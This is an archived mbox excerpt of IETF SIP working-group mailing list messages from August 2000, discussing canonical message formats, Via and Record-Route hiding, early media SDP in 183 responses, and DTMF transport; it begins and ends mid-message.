INVITE Content-Type:application/sdp v=0 o=caller 32434 23424 IN IP4 202.54.30.24 s=Chat session m=application 5060 SIP/2.0 MESSAGE a=participant:first@hostx.com a=participant:second@hosty.com a=participatn:third@hostz.com I have implemented this and also seen it work on my UA. Although my implementation is still a few days old, I dont forsee any problems. It is simple and easily understood. I have also examine the RTP text payload RFC. It is not suitable as it is has no error correction. we need something as efficient as the MESSAGE and also as simple. - farhan CTO hotfoon.com _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 24 10:43:55 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA18183 for <sip-archive@odin.ietf.org>; Thu, 24 Aug 2000 10:43:55 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 2432E44383; Thu, 24 Aug 2000 10:38:34 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from penguin-ext.wise.edt.ericsson.se (penguin-ext.wise.edt.ericsson.se [194.237.142.110]) by lists.bell-labs.com (Postfix) with ESMTP id 7DB5644336 for <sip@lists.bell-labs.com>; Thu, 24 Aug 2000 06:47:37 -0400 (EDT) Received: from ms.uab.ericsson.se (ms.uab.ericsson.se [134.138.201.16]) by penguin.wise.edt.ericsson.se (8.11.0/8.10.1/WIREfire-1.3) with ESMTP id e7OAlZw11436 for <sip@lists.bell-labs.com>; Thu, 24 Aug 2000 12:47:35 +0200 (MEST) Received: from uabx04c411.uab.ericsson.se.uab.ericsson.se (uabx04c411 [134.138.229.171]) by ms.uab.ericsson.se (8.10.0/8.10.0/uab-2.26) with ESMTP id e7OAlZT16508 for <sip@lists.bell-labs.com>; Thu, 24 Aug 2000 12:47:35 +0200 (MET DST) Received: from uab.ericsson.se by uabx04c411.uab.ericsson.se.uab.ericsson.se (8.8.7/client-1.3uab1) id MAA03853; Thu, 24 Aug 2000 12:47:33 +0200 (MET DST) Message-ID: <39A4FD44.968F91DB@uab.ericsson.se> Date: Thu, 24 Aug 2000 12:47:32 +0200 From: Bertil Engelholm <Bertil.Engelholm@uab.ericsson.se> Organization: Ericsson Utvecklings AB X-Mailer: Mozilla 4.7C-CCK-MCD [en] (X11; U; SunOS 5.6 sun4m) X-Accept-Language: sv,en-US MIME-Version: 1.0 To: sip@lists.bell-labs.com Subject: Re: [SIP] Simplify SIP References: <65256941.003CBD07.00@sampark.hss.hns.com> <8o289a$v4k$1@lux2.datacom-lab.uab.ericsson.se> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List <sip.lists.bell-labs.com> X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Rohan Mahy wrote: > > Hi, > > I think the proposal was: "implementations SHOULD send in canonical > format", or "sending in canonical format is RECOMMENDED". > > These are both backward compatible. Receiving torture cases would still be > in the spec. > > thanks, > -rohan > You got it. This was exactly what I ment in the proposal. I have received a number of responses to this mail. There seems to be three different views to the proposal. 1) Yes, the proposal would simplify my SIP parsing please accept the proposal. 2) The proposal is OK, but since there are so many implementation of SIP and the change is not backwards compatible it's to late to do the change. 3) Don't change because we wan't the freedom of sending the SIP messages in any way we want. It's not many extra lines of code to parse the different options. Group one is not much to comment since it accept the proposed changes. The Group two comments I don't understand. The change I suggested IS backwards compatible. What I suggested was to depricate all other formats except the cannonical form _when sending_. This means that everyone that today fullfills the rfc will be able to receive the canonical form. The proposal suggests that only the canonical form SHOULD be used when sending which opens up the possibility to remove the other formats in the future. When that is done it will not be backwards compatible but hopefully everyone have adopted to the canonical form at that time so it will not be a big problem. This is the exact same thing that was done with the different ways of terminating the header lines. Why was that change accepted ? Was that change backwards compatible ? The third group want the freedom of sending the messages in basically any way they want. And they also say that it's no problem of parsing the different formats because a few lines of PERL will fix that. First of all I'm not shure PERL is available on all small devices that will have to parse the SIP messages. Secondly I think that when you want to send things in any way you want you also have to be prepared to receive things in any way and that only complicates things without any gain at all. In the telecom world, where I come from, we have limited amount of bandwidth and processor power but that don't seem to be the case here. If a product is more expensive than necessary (due to a more powerful processor or/and more memory) isn't that a problem ? Finally I just want to comment the PERL code that Brian F. G. Bidulock sent in. The code looks nice but you actually managed to prove my point with your code. You failed to take care of comma separated lists and the different ways of terminating a header line. So if the canonical form would have been the only form your code would have worked fine. So my point is : if you have several optional ways of doing things it's easy to forget one of them. So thanks Brian for proving my point. -- Bertil Engelholm AXE Research and Development voice : +46 8 727 3499 SIP Security Fax : +46 8 647 8276 S-126 25 Stockholm Sweden E-mail: Bertil.Engelholm@uab.ericsson.se _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 24 10:47:28 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA18251 for <sip-archive@odin.ietf.org>; Thu, 24 Aug 2000 10:47:27 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id E12874438B; Thu, 24 Aug 2000 10:38:44 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from albatross-ext.wise.edt.ericsson.se (albatross-ext.wise.edt.ericsson.se [194.237.142.116]) by lists.bell-labs.com (Postfix) with ESMTP id A653F44336 for <sip@lists.bell-labs.com>; Thu, 24 Aug 2000 07:29:20 -0400 (EDT) Received: from ms.uab.ericsson.se (ms.uab.ericsson.se [134.138.201.16]) by albatross.wise.edt.ericsson.se (8.11.0/8.11.0/WIREfire-1.3) with ESMTP id e7OBTJp18118 for <sip@lists.bell-labs.com>; Thu, 24 Aug 2000 13:29:19 +0200 (MEST) Received: from uabx04c411.uab.ericsson.se.uab.ericsson.se (uabx04c411 [134.138.229.171]) by ms.uab.ericsson.se (8.10.0/8.10.0/uab-2.26) with ESMTP id e7OBTIT22904 for <sip@lists.bell-labs.com>; Thu, 24 Aug 2000 13:29:19 +0200 (MET DST) Received: from uab.ericsson.se by uabx04c411.uab.ericsson.se.uab.ericsson.se (8.8.7/client-1.3uab1) id NAA04238; Thu, 24 Aug 2000 13:29:17 +0200 (MET DST) Message-ID: <39A5070B.9CADA41@uab.ericsson.se> Date: Thu, 24 Aug 2000 13:29:15 +0200 From: Bertil Engelholm <Bertil.Engelholm@uab.ericsson.se> Organization: Ericsson Utvecklings AB X-Mailer: Mozilla 4.7C-CCK-MCD [en] (X11; U; SunOS 5.6 sun4m) X-Accept-Language: sv,en-US MIME-Version: 1.0 To: sip@lists.bell-labs.com Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [SIP] Why Via hiding but no RR hiding ?? Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List <sip.lists.bell-labs.com> X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Hello again, I just wonder why there is a possibility to hide the Via headers but not the Record-Route headers ? I can see the need for hiding the Via headers so the callee can't see which way the call took. But the Record-Route together with Contact basically gives the same information so why aren't there any Record-Route hiding ?? /Bertil -- Bertil Engelholm AXE Research and Development voice : +46 8 727 3499 SIP Security Fax : +46 8 647 8276 S-126 25 Stockholm Sweden E-mail: Bertil.Engelholm@uab.ericsson.se _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 24 10:50:30 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA18328 for <sip-archive@odin.ietf.org>; Thu, 24 Aug 2000 10:50:30 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 0552244390; Thu, 24 Aug 2000 10:38:54 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20]) by lists.bell-labs.com (Postfix) with ESMTP id 57DF844336 for <sip@lists.bell-labs.com>; Thu, 24 Aug 2000 09:29:40 -0400 (EDT) Received: from cs.columbia.edu (bart.cs.columbia.edu [128.59.19.191]) by cs.columbia.edu (8.9.3/8.9.3) with ESMTP id JAA20684; Thu, 24 Aug 2000 09:29:23 -0400 (EDT) Message-ID: <39A52333.A1E79D73@cs.columbia.edu> Date: Thu, 24 Aug 2000 09:29:23 -0400 From: Henning Schulzrinne <schulzrinne@cs.columbia.edu> Organization: Columbia University, Dept. of Computer Science X-Mailer: Mozilla 4.72 [en] (X11; U; SunOS 5.7 sun4u) X-Accept-Language: en MIME-Version: 1.0 To: Jonathan Rosenberg <jdrosen@dynamicsoft.com> Cc: Brett Tate <brett@broadsoft.com>, Cliff.Harris@nokia.com, sip@lists.bell-labs.com Subject: Re: [SIP] Remote ringback. References: <E39024226822D311BC880008C77318A1AB757A@oteis01nok> <049e01c00ba3$adadfed0$3202a8c0@broadsoft.com> <39A4BB82.19559938@dynamicsoft.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List <sip.lists.bell-labs.com> X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Jonathan Rosenberg wrote: > > Brett has asked for a clear semantic to the inclusion of SDP in 183. > Here is my proposal. > > To keep ourselves sane, and to simplify life, I would propose that the > semantics of SDP in 183 be identical to those if the SDP were returned > in a 200. The difference is only in the call state; 200 OK means the > call is established, 183 (or any 1xx) means progress. > > Based on this rule, SDP in the 183 with a 0.0.0.0 line means that the > UAS does not want to receive, just send audio. Classic one way cut > through. SDP in the 183 with a non-zero IP address and port means that > bidirectional audio is allowed; the UAC should send whatever the user is > saying. Of course, any good implementation will let the user know that > this is happening. Someone pointed out that bidirectional audio before > call acceptance doesn't work in ISUP. How, in this case, are things like > calling card numbers, etc. which require DTMF collection before call > completion, handled? I don't like this alternative as it makes it impossible for the caller to send RTCP in response to early media. Instead, a=sendonly seems like the more appropriate mechanism. (There's also a security implication: if the UAS sends an IP address, the receiver at least has a chance of rejecting bogus audio packets as long the attacker can't intercept the SDP *and* forge IP addresses. Without this, it would be pretty easy to just send RTP as 'early media' to any local SIP phone, for example.) > > This also answers the question about turning off media stream. Same as > how re-INVITEs work. If you want to turn it off, return an SDP in > another 1xx with that m line set to port zero. Sending a 1xx later with > no SDP has the same effect as a re-invite with no SDP (which means no > change in session state at all). -- Henning Schulzrinne http://www.cs.columbia.edu/~hgs _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 24 11:02:34 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA18701 for <sip-archive@odin.ietf.org>; Thu, 24 Aug 2000 11:02:34 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 514A7443A1; Thu, 24 Aug 2000 10:52:19 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from shire.formysite.com (mail.formysite.com [216.226.19.3]) by lists.bell-labs.com (Postfix) with ESMTP id 9744544344 for <SIP@lists.bell-labs.com>; Thu, 24 Aug 2000 10:52:15 -0400 (EDT) Received: from Odysseus2000 (c592852-a.sfmissn1.sfba.home.com [24.20.142.6]) by shire.formysite.com (8.9.1a/8.9.1) with SMTP id JAA28759; Thu, 24 Aug 2000 09:51:39 -0500 (CDT) Message-ID: <002101c00dda$c30218a0$068e1418@sfmissn1.sfba.home.com> Reply-To: "Garret Wilson" <garret@globalmentor.com> From: "Garret Wilson" <garret@globalmentor.com> To: "Jo Hornsby" <jhornsby@ubiquity.net>, "SIP List" <SIP@lists.bell-labs.com> References: <000e01c00daa$985b3710$4e34c3c1@ubiquity.co.uk> Subject: Re: [SIP] sending requests to proxy servers and registrars Date: Thu, 24 Aug 2000 07:51:17 -0700 Organization: GlobalMentor, Inc. MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List <sip.lists.bell-labs.com> X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Jo, Thanks for the very helpful response. I think the most helpful thing I gained from the discussion is that one does not want to configure a UAC to use a pure redirect server as its proxy. This would be pointless, because each request, regardless of the Reguest-URI, would be directed to the redirect server -- assumedly including even redirects. > 3) Alice's UAC could try the Redirect Server based on some sort of > rules; say for any addresses in the same domain. > [cut] > 3) I can imagine as the most likely. If Alice wants to call > someone in example1.com, her UAC uses the example1.com Redirect > Server, else the UAC does the normal 1.4.2 discovery, or perhaps > uses example1.com's Proxy Server. I think that's close to what we've discovered we need to do. All requests for bob@example1.com would go through the example1.com Redirect Server (which in this case is also a Registrar), and if Bob is to be elsewhere (say, at example2.com), he REGISTERs with the server with a To: of bob@example1.com and a Contact: of bob@example2.com . Thanks again, Garret _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 24 12:22:25 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA19983 for <sip-archive@odin.ietf.org>; Thu, 24 Aug 2000 12:22:25 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 48F9D44395; Thu, 24 Aug 2000 12:21:23 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from ubiquity.net (mail.ubiquity.net [194.128.96.72]) by lists.bell-labs.com (Postfix) with ESMTP id 61F3044369 for <sip@lists.bell-labs.com>; Thu, 24 Aug 2000 12:21:18 -0400 (EDT) Received: from jhornsby by ubiquity.net with SMTP (8.8.8+Sun/25-eef) id RAA12263; Thu, 24 Aug 2000 17:19:26 +0100 (BST) From: "Jo Hornsby" <jhornsby@ubiquity.net> To: "Bertil Engelholm" <Bertil.Engelholm@uab.ericsson.se>, <sip@lists.bell-labs.com> Subject: RE: [SIP] Why Via hiding but no RR hiding ?? Date: Thu, 24 Aug 2000 17:19:27 +0100 Message-ID: <001401c00de7$12caa210$4e34c3c1@ubiquity.co.uk> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2377.0 Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 In-Reply-To: <39A5070B.9CADA41@uab.ericsson.se> Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List <sip.lists.bell-labs.com> X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit > I just wonder why there is a possibility to hide the Via headers > but not the Record-Route headers ? > > I can see the need for hiding the Via headers so the callee can't > see which way the call took. But the Record-Route together with > Contact basically gives the same information so why aren't there > any Record-Route hiding ?? This was discussed on the SIP List around the middle of July. I think the conclusion was that it could be done, but it was horrendous. &:) Look for the Subject: "[SIP] A question about Stateful Proxies, Session Timers, and the Contact field" - Jo. _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 24 13:01:15 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA20535 for <sip-archive@odin.ietf.org>; Thu, 24 Aug 2000 13:01:14 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 8A45644360; Thu, 24 Aug 2000 13:00:55 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from ivigate.intervoice.com (ivigate.intervoice.com [208.200.21.196]) by lists.bell-labs.com (Postfix) with ESMTP id ADB394433F for <sip@lists.bell-labs.com>; Thu, 24 Aug 2000 11:27:34 -0400 (EDT) Received: from itmail-ict1.wichita.brite.com (itmail-ict1.wichita.brite.com [151.214.5.174]) by ivigate.intervoice.com (Build 98 8.9.3/NT-8.9.3) with ESMTP id KAA24807; Thu, 24 Aug 2000 10:26:24 -0500 Received: by itmail-ict1-imc.wichita.brite.com with Internet Mail Service (5.5.2448.0) id <P5D07P32>; Thu, 24 Aug 2000 10:20:13 -0500 Message-ID: <DBD1CC7CE357D211AECC009027158FD1030EAE84@itmail-ict1-imc.wichita.brite.com> From: "Culpepper, Bert" <bert.culpepper@intervoice-brite.com> To: Rohan Mahy <rohan@cisco.com>, Jonathan Rosenberg <jdrosen@dynamicsoft.com> Cc: sip@lists.bell-labs.com Subject: RE: [SIP] DTMF discussion from WG meeting Date: Thu, 24 Aug 2000 10:20:09 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2448.0) Content-Type: text/plain; charset="iso-8859-1" Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List <sip.lists.bell-labs.com> X-BeenThere: sip@lists.bell-labs.com I'm happy with the AVT tone format for transport of DTMF. I can request that media type and direct it independently from other media. I also expect to be able to use this media format independently and in addition to any other method for transporting DTMF or other "user input". If an endpoint supports both RTP-DTMF and some event reporting mechanism (SUBSCRIBE/NOTIFY) then I expect I can request either or both. The associated IDs and RFCs do not place any limitations on this that I can see. If there are additional mechanisms - great. I like choices. I do look forward to seeing support for draft-camarillo-sip-sdp-00.txt. I think this will encourage support for the transmission of multiple copies of a media "stream" to different destinations. And I look forward to support for terminal events using SUBSCRIBE/NOTIFY. I think this can help in addressing concerns with reliable delivery of user input. Hopefully work in both of these areas moves along to completion. Regards, Bert -----Original Message----- From: Rohan Mahy [mailto:rohan@cisco.com] Sent: Wednesday, August 23, 2000 7:24 PM To: Jonathan Rosenberg Cc: Culpepper, Bert; sip@lists.bell-labs.com Subject: Re: [SIP] DTMF discussion from WG meeting At 09:46 PM 8/3/00 , Jonathan Rosenberg wrote: >Rohan Mahy wrote: > > > > Hi, > > > > I think we may have a slightly different definition of first and third > > party. I'd say that the moment an app switches from first to third, it > > becomes third party and can subscribe to DTMF events. Perhaps I > should > that a first-party cannot *take action* on DTMF events, but a > thrid party > > should. > > > > If a 1st party app subscribes to DTMF events, there is a danger that it can > > count the same DTMF event twice (once from RTP, and once from the event). > >Sounds like the kind of nasty things that happen when there are two >completely different ways to do the same thing. As I suspect you will >not be able to cleanly define a role as either 1st or 3rd, with a clean >changeover during which you would never receive events I think the definition is crystal clear, and most apps will always be one or the other. maybe you will like this better: If your app will *ever* terminate audio, then it must be ready to receive DTMF via AVT tones, and must never subscribe to "keypress events" This leaves "pure" 3rd party apps (of which there are still plenty), which will never, ever terminate any media. I think that something like VoXML is a good model here. Send the endpoint a script or document to run. If the end user does something interesting (press some keys, say something intelligable, etc), then execute a URL. The URL may fetch a new script, contain a REFER, an INVITE, a BYE, a REGISTER, etc... >sounds like one >mechanism is the right way to go. Lots of folks will want a VoXML-like model. Only ever sending DTMF as AVT tones is limiting and short-sighted IMHO. thanks, -rohan _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 24 13:02:26 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA20578 for <sip-archive@odin.ietf.org>; Thu, 24 Aug 2000 13:02:26 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 04E4A4438E; Thu, 24 Aug 2000 13:01:18 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20]) by lists.bell-labs.com (Postfix) with ESMTP id E5DD144369 for <sip@lists.bell-labs.com>; Thu, 24 Aug 2000 12:27:33 -0400 (EDT) Received: from cs.columbia.edu (bart.cs.columbia.edu [128.59.19.191]) by cs.columbia.edu (8.9.3/8.9.3) with ESMTP id MAA01883; Thu, 24 Aug 2000 12:27:11 -0400 (EDT) Message-ID: <39A54CDF.923293D3@cs.columbia.edu> Date: Thu, 24 Aug 2000 12:27:11 -0400 From: Henning Schulzrinne <schulzrinne@cs.columbia.edu> Organization: Columbia University, Dept. of Computer Science X-Mailer: Mozilla 4.72 [en] (X11; U; SunOS 5.7 sun4u) X-Accept-Language: en MIME-Version: 1.0 To: Jo Hornsby <jhornsby@ubiquity.net> Cc: Bertil Engelholm <Bertil.Engelholm@uab.ericsson.se>, sip@lists.bell-labs.com Subject: Re: [SIP] Why Via hiding but no RR hiding ?? References: <001401c00de7$12caa210$4e34c3c1@ubiquity.co.uk> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List <sip.lists.bell-labs.com> X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Jo Hornsby wrote: > > > I just wonder why there is a possibility to hide the Via headers > > but not the Record-Route headers ? > > > > I can see the need for hiding the Via headers so the callee can't > > see which way the call took. But the Record-Route together with > > Contact basically gives the same information so why aren't there > > any Record-Route hiding ?? > > This was discussed on the SIP List around the middle of July. > I think the conclusion was that it could be done, but it was > horrendous. &:) > > Look for the Subject: > "[SIP] A question about Stateful Proxies, Session Timers, and the > Contact field" In general, I suspect that Via hiding may turn out to be only marginally useful. If you want true anonymity, hiding a few SIP servers in the path isn't very helpful. You'll probably end up with a back-to-back UA that also hides your media IP address and any other incriminating identifiers, such as Contacts, network identifiers in SDP and call-ids. Without that, the danger of information leakage is too great to use it for anything where something of value (your life, your whistleblower premium, your protection from telemarketers, ...) depends on it. For just caller identity anonymity, you don't need Via hiding. -- Henning Schulzrinne http://www.cs.columbia.edu/~hgs _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 24 13:04:51 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA20597 for <sip-archive@odin.ietf.org>; Thu, 24 Aug 2000 13:04:50 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 54A60443A4; Thu, 24 Aug 2000 13:03:40 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from blanc.cisco.com (blanc.cisco.com [161.44.3.203]) by lists.bell-labs.com (Postfix) with ESMTP id 6F8A34437D for <sip@lists.bell-labs.com>; Thu, 24 Aug 2000 13:03:36 -0400 (EDT) Received: (ddaiker@localhost) by blanc.cisco.com (8.8.5-Cisco.2-SunOS.5.5.1.sun4/8.6.5) id NAA19520; Thu, 24 Aug 2000 13:00:08 -0400 (EDT) From: David Daiker <ddaiker@cisco.com> Message-Id: <200008241700.NAA19520@blanc.cisco.com> Subject: Re: [SIP] Why Via hiding but no RR hiding ?? To: jhornsby@ubiquity.net (Jo Hornsby) Date: Thu, 24 Aug 2000 13:00:07 -0400 (EDT) Cc: Bertil.Engelholm@uab.ericsson.se (Bertil Engelholm), sip@lists.bell-labs.com In-Reply-To: <001401c00de7$12caa210$4e34c3c1@ubiquity.co.uk> from "Jo Hornsby" at Aug 24, 2000 05:19:27 PM X-Mailer: ELM [version 2.5 PL1] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List <sip.lists.bell-labs.com> X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit I would dispute that it is significantly different than via hiding. See our ID "SIP Record-Route/Route Hiding" regards, david > > > I just wonder why there is a possibility to hide the Via headers > > but not the Record-Route headers ? > > > > I can see the need for hiding the Via headers so the callee can't > > see which way the call took. But the Record-Route together with > > Contact basically gives the same information so why aren't there > > any Record-Route hiding ?? > > This was discussed on the SIP List around the middle of July. > I think the conclusion was that it could be done, but it was > horrendous. &:) > > Look for the Subject: > "[SIP] A question about Stateful Proxies, Session Timers, and the > Contact field" > > > - Jo. > > > > _______________________________________________ > SIP mailing list > SIP@lists.bell-labs.com > http://lists.bell-labs.com/mailman/listinfo/sip > _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 24 13:31:01 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA20999 for <sip-archive@odin.ietf.org>; Thu, 24 Aug 2000 13:31:00 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 75E34443A7; Thu, 24 Aug 2000 13:29:51 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from pc2call.com (unknown [212.187.178.58]) by lists.bell-labs.com (Postfix) with ESMTP id E0E704437D for <sip@lists.bell-labs.com>; Thu, 24 Aug 2000 13:29:47 -0400 (EDT) Received: from mail.pc2call.com - 127.0.0.1 by pc2call.com with Microsoft SMTPSVC(5.5.1774.114.11); Thu, 24 Aug 2000 18:28:09 +0100 Received: from 212.187.178.62 by mail.pc2call.com ([212.187.178.58] running VPOP3) with ESMTP; Thu, 24 Aug 2000 18:28:08 +0100 Message-ID: <39A55B70.8B969D17@switchlab.net> Date: Thu, 24 Aug 2000 18:29:20 +0100 From: Benny Prijono <bennylp@switchlab.net> X-Mailer: Mozilla 4.7 [en] (WinNT; I) X-Accept-Language: en MIME-Version: 1.0 To: Jonathan Rosenberg <jdrosen@dynamicsoft.com> Cc: Brett Tate <brett@broadsoft.com>, Cliff.Harris@nokia.com, sip@lists.bell-labs.com Subject: Re: [SIP] Remote ringback. References: <E39024226822D311BC880008C77318A1AB757A@oteis01nok> <049e01c00ba3$adadfed0$3202a8c0@broadsoft.com> <39A4BB82.19559938@dynamicsoft.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Server: VPOP3 V1.4.0b - Registered to: Switchlab Ltd Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List <sip.lists.bell-labs.com> X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Jonathan Rosenberg wrote: > > Based on this rule, SDP in the 183 with a 0.0.0.0 line means that the > UAS does not want to receive, just send audio. Classic one way cut > through. SDP in the 183 with a non-zero IP address and port means that > bidirectional audio is allowed; the UAC should send whatever the user is > saying. Of course, any good implementation will let the user know that > this is happening. Someone pointed out that bidirectional audio before > call acceptance doesn't work in ISUP. How, in this case, are things like > calling card numbers, etc. which require DTMF collection before call > completion, handled? > > This also answers the question about turning off media stream. Same as > how re-INVITEs work. If you want to turn it off, return an SDP in > another 1xx with that m line set to port zero. Sending a 1xx later with > no SDP has the same effect as a re-invite with no SDP (which means no > change in session state at all). > If UDP is used, then the 1xx responses from UAS can arrive out of order in the UAC. So how can the UAC knows which response sent first? Or should we mandate that the version number in the SDP origin field MUST be increased when UAS changes the SDP in 1xx? -- cheers, Bennylp _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 24 13:36:33 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA21124 for <sip-archive@odin.ietf.org>; Thu, 24 Aug 2000 13:36:33 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 897874437D; Thu, 24 Aug 2000 13:36:22 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from bfgbhome.inetint.com (tnt-dal-42-206.dallas.net [209.44.42.206]) by lists.bell-labs.com (Postfix) with ESMTP id 2310C4435E for <sip@lists.bell-labs.com>; Thu, 24 Aug 2000 13:36:15 -0400 (EDT) Received: (from brian@localhost) by bfgbhome.inetint.com (8.9.3/8.9.3) id MAA16068; Thu, 24 Aug 2000 12:36:08 -0500 Date: Thu, 24 Aug 2000 12:36:08 -0500 From: "Brian F. G. Bidulock" <bidulock@dallas.net> To: Bertil Engelholm 